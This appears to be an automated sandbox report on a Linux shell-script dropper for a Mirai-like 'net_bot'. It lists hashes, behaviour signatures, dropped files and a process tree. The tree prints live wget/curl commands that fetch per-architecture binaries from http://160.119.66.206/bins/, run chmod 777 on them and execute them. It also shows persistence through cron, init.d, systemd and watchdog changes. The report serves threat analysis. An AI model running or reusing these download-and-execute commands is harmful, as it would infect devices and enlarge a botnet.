Analysis
- max time kernel
147s - max time network
151s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
13/09/2026, 18:53
Static task
static1
Behavioral task
behavioral1
Sample
39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
Resource
debian9-mipsel-20260513-en
General
- Target 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh
- Size 3KB
- Sample260913-xjp4essbmf
- SHA256 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96
- MD5 9e3b46f7626b0408ec194c37d7dd9c06
- SHA1 182b94055cbf17b68cd32fca2828a7049320fc35
- SHA512 269e6b6a1f5476f2f7099e275e60a83fa5516e2ec46f77c2f0e0835d138629d57b90f1c4f007f1cd4054f584c522ba8d6de8214b8dc62d5f2375228340d80023
- TLSH T1C861218851B1F173D8C5692D22BE86D1E9409EF25BB1EEECA858D4F0444070673FB2F6
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 11 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 671 chmod 681 chmod 693 chmod 716 chmod 685 chmod 689 chmod 703 chmod 732 chmod 748 chmod 756 sh 758 chmod - Deletes itself 1 IoCs
pid Process 750 net_bot - Executes dropped EXE 9 IoCs
ioc pid Process /tmp/net_bot 673 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh /tmp/net_bot 682 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh /tmp/net_bot 686 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh /tmp/net_bot 690 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh /tmp/net_bot 694 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh /tmp/net_bot 704 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh /tmp/net_bot 718 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh /tmp/net_bot 734 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh /tmp/net_bot 750 39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog net_bot File opened for modification /dev/misc/watchdog net_bot - Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.d/netupd net_bot - Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for modification /etc/init.d/sys_daemon net_bot - Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/netd.service net_bot - Reads process memory 1 TTPs 48 IoCs
Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.
description ioc Process File opened for reading /proc/1/maps net_bot File opened for reading /proc/15/maps net_bot File opened for reading /proc/16/maps net_bot File opened for reading /proc/23/maps net_bot File opened for reading /proc/29/maps net_bot File opened for reading /proc/41/maps net_bot File opened for reading /proc/43/maps net_bot File opened for reading /proc/83/maps net_bot File opened for reading /proc/13/maps net_bot File opened for reading /proc/18/maps net_bot File opened for reading /proc/25/maps net_bot File opened for reading /proc/28/maps net_bot File opened for reading /proc/42/maps net_bot File opened for reading /proc/115/maps net_bot File opened for reading /proc/142/maps net_bot File opened for reading /proc/143/maps net_bot File opened for reading /proc/17/maps net_bot File opened for reading /proc/112/maps net_bot File opened for reading /proc/146/maps net_bot File opened for reading /proc/283/maps net_bot File opened for reading /proc/5/maps net_bot File opened for reading /proc/20/maps net_bot File opened for reading /proc/21/maps net_bot File opened for reading /proc/104/maps net_bot File opened for reading /proc/221/maps net_bot File opened for reading /proc/24/maps net_bot File opened for reading /proc/27/maps net_bot File opened for reading /proc/3/maps net_bot File opened for reading /proc/4/maps net_bot File opened for reading /proc/8/maps net_bot File opened for reading /proc/19/maps net_bot File opened for reading /proc/279/maps net_bot File opened for reading /proc/7/maps net_bot File opened for reading /proc/10/maps net_bot File opened for reading /proc/22/maps net_bot File opened for reading /proc/165/maps net_bot File opened for reading /proc/2/maps net_bot File opened for reading /proc/9/maps net_bot File opened for reading /proc/11/maps net_bot File opened for reading /proc/12/maps net_bot File opened for reading /proc/26/maps net_bot File opened for reading /proc/114/maps net_bot File opened for reading /proc/154/maps net_bot File opened for reading /proc/286/maps net_bot File opened for reading /proc/6/maps net_bot File opened for reading /proc/14/maps net_bot File opened for reading /proc/176/maps net_bot File opened for reading /proc/276/maps net_bot - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself a 750 net_bot - Checks CPU configuration 1 TTPs 4 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl - Enumerates kernel/hardware configuration 1 TTPs 5 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/self/stat systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/cmdline systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/self/auxv curl File opened for reading /proc/1/environ systemctl File opened for reading /proc/1/environ systemctl File opened for reading /proc/self/auxv curl File opened for reading /proc/cmdline systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/1/environ systemctl File opened for reading /proc/cmdline systemctl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/exe net_bot File opened for reading /proc/1/environ systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/1/environ systemctl File opened for reading /proc/filesystems systemctl File opened for reading /proc/self/maps net_bot - System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 694 net_bot 696 curl 704 net_bot 692 wget - Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/net_bot wget File opened for modification /tmp/net_bot wget File opened for modification /tmp/net_bot curl File opened for modification /tmp/net_bot curl File opened for modification /tmp/net_bot wget File opened for modification /tmp/net_bot wget File opened for modification /tmp/net_bot curl File opened for modification /tmp/net_bot wget File opened for modification /tmp/net_bot curl
Processes
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/tmp/39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh/tmp/39be6853a8204ce6455a373a6ffb4cb4672d4a62d90be69f7d6eeb66cda10b96.sh1⤵
- Executes dropped EXE
PID:648 -
/usr/bin/wgetwget http://160.119.66.206/bins/net.x86_64 -O net_bot2⤵
- Writes file to tmp directory
PID:651
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:671
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/tmp/net_bot./net_bot net.x86_642⤵PID:673
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/usr/bin/curlcurl -L http://160.119.66.206/bins/net.x86_64 -o net_bot2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:675
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:681
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/tmp/net_bot./net_bot net.x86_642⤵PID:682
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/usr/bin/wgetwget http://160.119.66.206/bins/net.x86 -O net_bot2⤵
- Writes file to tmp directory
PID:684
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:685
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/tmp/net_bot./net_bot net.x862⤵PID:686
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/usr/bin/curlcurl -L http://160.119.66.206/bins/net.x86 -o net_bot2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:688
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:689
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/tmp/net_bot./net_bot net.x862⤵PID:690
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/usr/bin/wgetwget http://160.119.66.206/bins/net.mips -O net_bot2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:692
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:693
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/tmp/net_bot./net_bot net.mips2⤵
- System Network Configuration Discovery
PID:694
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/usr/bin/curlcurl -L http://160.119.66.206/bins/net.mips -o net_bot2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:696
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:703
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/tmp/net_bot./net_bot net.mips2⤵
- System Network Configuration Discovery
PID:704
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/usr/bin/wgetwget http://160.119.66.206/bins/net.mpsl -O net_bot2⤵
- Writes file to tmp directory
PID:707
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:716
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/tmp/net_bot./net_bot net.mpsl2⤵PID:718
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/usr/bin/curlcurl -L http://160.119.66.206/bins/net.mpsl -o net_bot2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:720
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:732
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/tmp/net_bot./net_bot net.mpsl2⤵PID:734
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/usr/bin/wgetwget http://160.119.66.206/bins/net.arm -O net_bot2⤵
- Writes file to tmp directory
PID:736
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/bin/chmodchmod 777 net_bot2⤵
- File and Directory Permissions Modification
PID:748
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/tmp/net_bot./net_bot net.arm2⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Modifies init.d
- Modifies systemd
- Reads process memory
- Changes its process name
- Reads runtime system information
PID:750 -
/bin/shsh -c "chmod +x /var/tmp/.sys_recovery.sh"3⤵
- File and Directory Permissions Modification
PID:756 -
/bin/chmodchmod +x /var/tmp/.sys_recovery.sh4⤵
- File and Directory Permissions Modification
PID:758
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/bin/shsh -c "systemctl disable .networkd.service 2>/dev/null"3⤵PID:760
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/bin/systemctlsystemctl disable .networkd.service4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:761
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/bin/shsh -c "update-rc.d sys_daemon defaults 2>/dev/null"3⤵PID:763
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/usr/sbin/update-rc.dupdate-rc.d sys_daemon defaults4⤵PID:764
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/usr/local/sbin/systemctlsystemctl daemon-reload5⤵PID:766
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/usr/local/bin/systemctlsystemctl daemon-reload5⤵PID:766
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/usr/sbin/systemctlsystemctl daemon-reload5⤵PID:766
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/usr/bin/systemctlsystemctl daemon-reload5⤵PID:766
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/sbin/systemctlsystemctl daemon-reload5⤵PID:766
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/bin/systemctlsystemctl daemon-reload5⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:766
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/bin/shsh -c "chkconfig --add sys_daemon 2>/dev/null"3⤵PID:779
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/bin/shsh -c "systemctl daemon-reload 2>/dev/null"3⤵PID:780
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/bin/systemctlsystemctl daemon-reload4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:781
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/bin/shsh -c "systemctl enable netd.service 2>/dev/null"3⤵PID:803
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/bin/systemctlsystemctl enable netd.service4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:805
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/bin/shsh -c "systemctl start netd.service 2>/dev/null"3⤵PID:838
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/bin/systemctlsystemctl start netd.service4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:839
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/cron.d/netupd
- Size 49B
- SHA256 6f50f3c70491721be9a36ce4fd3cfcac66dba6fe7b3af969b9aae67b71bc2435
- MD5 4ed2963e9d81315709b84dfe14f74fd0
- SHA1 3b33da5d9f8c5a091ce3183e85cc9f1b4017a566
- SHA512 15382aec41e41c09d96199fd83caf84ee475bc6442bef7e608952fd188ec5b871d90a4438287f9be39a676cc9c01141fa43890d43d150f0948e6bcab67569789
- MD5 SHA1 SHA512
- Path /etc/init.d/sys_daemon
- Size 282B
- SHA256 c277627bfbdac903b0229ad7417771294a3135aa01cc6300cd7b0df09f54cc97
- MD5 e6a107234365ee6b813c8dc0030a570a
- SHA1 f94968be4439fafb09cadee7a8e3cc1d546eebcc
- SHA512 02d0f12a9b4a9754403b4f444a2061db802bcc5f5af1ca474f4f508fbe933f4e560023ebc103e8a7d61bac53de3e2aa147b56b2e88f8c2efd79008d02cf6035c
- TLSH T126D09E45F44585B52ECA4179A71DB25975C10057C4253412FF6E3BF2DF55392606A1B0
- MD5 SHA1 SHA512 TLSH
- Path /etc/systemd/system/netd.service
- Size 241B
- SHA256 cee909cdcda744de562e43a98c9d5d6ef26f2ebe194bee98696043274de026a8
- MD5 3c94a0f2e307c750f3ece842fa65575b
- SHA1 fdcc673dd4a6e7be66f63f9ac1d1d5c134366aaa
- SHA512 7de8c2cc91284aa1ecf6ea4c3c05f76c82df7790077720bad5bb43950a24f34ecf5a8e4046b6979503fca647788fd8db7a58ec81dfd1e12125036d785c51bb8a
- TLSH T150D09712363424E9D8CF1172CF796F808F000080888F2331CBF0AFA28AE268691264BE
- MD5 SHA1 SHA512 TLSH
- Path /tmp/net_bot
- Size 186KB
- SHA256 cd6ccc5dabe85309a938e43c9508998bb0f52a9264fa9ba9276956f7fa42f48d
- MD5 390b35e39dd659cdfc59900f820b7d40
- SHA1 04ea9f670b30a5fa2112d32c770c505424643713
- SHA512 21a799918efa9e680f3f6838e9ab52fc048a24cb8a625acd9509b57623297a06c1e62abcfee7bb55e2d5f1f9036d8f9532e65f61e35ada35d247b98633e36fd4
- SSDEEP 3072:qGkRiq2AYx5Fqx20LZaegBI/LYHCPYG8kAbWnDS0H3:N2iqkHFyL0gpD
- TLSH T12D145B06B9C094FDC4C9D2788BBEB13BC975F45C1134B29F2BD4AF222E4AE612B2D551
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/net_bot
- Size 142KB
- SHA256 2136980fc01c33fcd1f5cf0541ebfce02093eec928921654dc35c17d69205946
- MD5 30d160e0091c9ce5501eb3ad7653ce8e
- SHA1 df52452383672b563c10415118b61406bdf5093d
- SHA512 e65f20cb35f8ad217683c8569d2647dffae014104be52f6bb178ab0e0b4a2bc1ec5155cd8bb88ad473d3b32c2bea9c693feb1563cab8fbceff77869c268c1b6c
- SSDEEP 3072:j57pOGy3Tek+5yf9wOghY04KRMof2xoIJmNf9tnpsE:j5cGy3ykuyzgVP6ybnOE
- TLSH T1ECE36A85F783D5F5FA5605B02077A7334636E4391039DE86DBB9AC31EC62A81D22B36C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/net_bot
- Size 242KB
- SHA256 683a3f7c5992c013d4cd71eeaf2d0d3b5a781261fa19a30e4d073ddf712c5ea4
- MD5 2c6ac74d011f00176a521d60358007b6
- SHA1 031c00f95d4fdf263bb9eed53523e6eaf2bb2f55
- SHA512 eff936ec5d570f4b997803c062bd7d74d8a9dcf4e49f672881ecf7a84fe2d9a4dd9981423ca634f1cf1abb3d72ca110024179baa6aa1a1548490204fcf240c81
- SSDEEP 3072:J4909IYT24tD/WrkhYAp8coLDxoShEdqaEC/oDK3ekAsonuqle:J4oy4tD/WrkhYAp8coLSSVgoQeAonTe
- TLSH T15D34A81E6E228F7EF6B8C73447B78E30975D23D626D1D584E1ACD1011E2429E681FFA8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/net_bot
- Size 246KB
- SHA256 9aac7aafe5d6257d6ce1b9442e9bd4c436293847260d789a2287076cb1f9ce12
- MD5 0d08146587775604a1010c8f53815aad
- SHA1 b1b2f9fb0749e100d5738d271b4a8e1675655242
- SHA512 7d66967868ca0f9fed4ac7b06bf393d9d969d279a6bc4c13a500f2fb9d880e005f441e74791cfe09cb0d1b45d292ba8ac32e861781e853bcd732549c9d71df7f
- SSDEEP 3072:LmtMnjfpxc/bKccPLwIy/jKk/HTFv4G8GbC2a4Va79Dz+KzAL:LmtMnjfpG/2i/tfTFv4GPbQ4079npzA
- TLSH T1FF343942FD508E63C6D6567BFB9D428C371A13A9D2EE3203AD205F207B8B91B0E7B551
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/tmp/.XJIsMRd6
- Size 186KB
- SHA256 cc049286a66056a4a80331b3c08494f8c7c73b4cc6e26328d3e6fb31deef729f
- MD5 554f0bfc33349ffe1ef6908ebafcf6b9
- SHA1 44c0d5e701efbfa9187e6ecc3a3f67b276d86948
- SHA512 c0a5cea3c05e605d33b9227f29339c3c35177eb9b9a6610375201cdc8f719c942fdaa39c0acf2176d6db94dcccd1e5e66abc65e79e4326fe95431ef338202898
- SSDEEP 3072:LmtMnjfpxc/bKccPLwIy/jKk/HTFv4G8GbC2a4Va79:LmtMnjfpG/2i/tfTFv4GPbQ4079
- TLSH T113141856FC519A12C6D522BBFB5E428D372617ACD3EE32039D255F203B8B95B0E3B142
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/tmp/.sys_recovery.sh
- Size 142B
- SHA256 7e32b5241e22eb0de96b517949e71dbe5a9fceb77bb970a125f00e3bacff00b1
- MD5 7f13500ad306cdb14e7c73845354fd4a
- SHA1 d46fb49a1b4287d109e5ca2cda90a23b73c17358
- SHA512 ed969195f5538a514c9789473a09da43ed0a7c4b1e495e9da814e575e1f1523d5db651743ca6ba91522c032028c86ce0cfa2726ccccbd04ff24918afdf4e8548
- TLSH T15EC02B53E0700C712F1446FA91AC5008168340035C4F4CB0704AB0703F2F20D726232D
- MD5 SHA1 SHA512 TLSH